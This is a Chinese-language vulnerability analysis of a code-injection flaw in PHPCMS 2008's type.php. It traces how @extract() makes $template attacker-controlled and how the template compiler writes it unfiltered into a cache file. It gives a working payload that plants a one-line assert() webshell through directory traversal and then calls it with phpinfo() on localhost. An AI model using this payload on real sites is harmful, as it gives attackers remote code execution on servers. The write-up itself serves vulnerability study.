phpcms 2008 type.php 前台代码注入getshell漏洞分析
tpye.php中:
先看一下require
进来的include/common.inc.php
,在这个文件第58行中存在如下代码:
上面这段代码会通过@extract()
将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过if(empty($template)) $template = 'type';
这句话的指定,即$template
变量可控。
跟入template
函数,定义在 include/global.func.php:772
这里会进行一些判断,TPL_REFRESH
表示是否开启模板缓存自动刷新,默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了template_compile()
函数,根据上一句的require_once
可知定义在 include/template.func.php:2
|
|
重点看$content = ($istag || substr($template, 0, 4) == 'tag_')
这一句。由于$template
可控,只要$template
以tag_
开头,就可以使得此处的三元表达式进入到第一个分支中,即相当于:
由于$template
未经过滤,被直接拼接到内容中,所以如果指定tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss
,则拼接后的结果为
可以看到一句话木马已经写入了$content
,之后file_put_contents($compiledtplfile, $content);
将内容写入文件。
回到前面的template_compile
函数中,TPL_CACHEPATH
为常量PHPCMS_ROOT.'data/cache_template/
; 可知 $compiledtplfile
为:
所以payload末尾的../
利用目录穿越使得最后的$compiledtplfile
为'data/cache_template/rss.tpl.php
为了解析不出错,payload末尾处的//
注释了拼接后的其余部分,如上图。
此后访问 http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()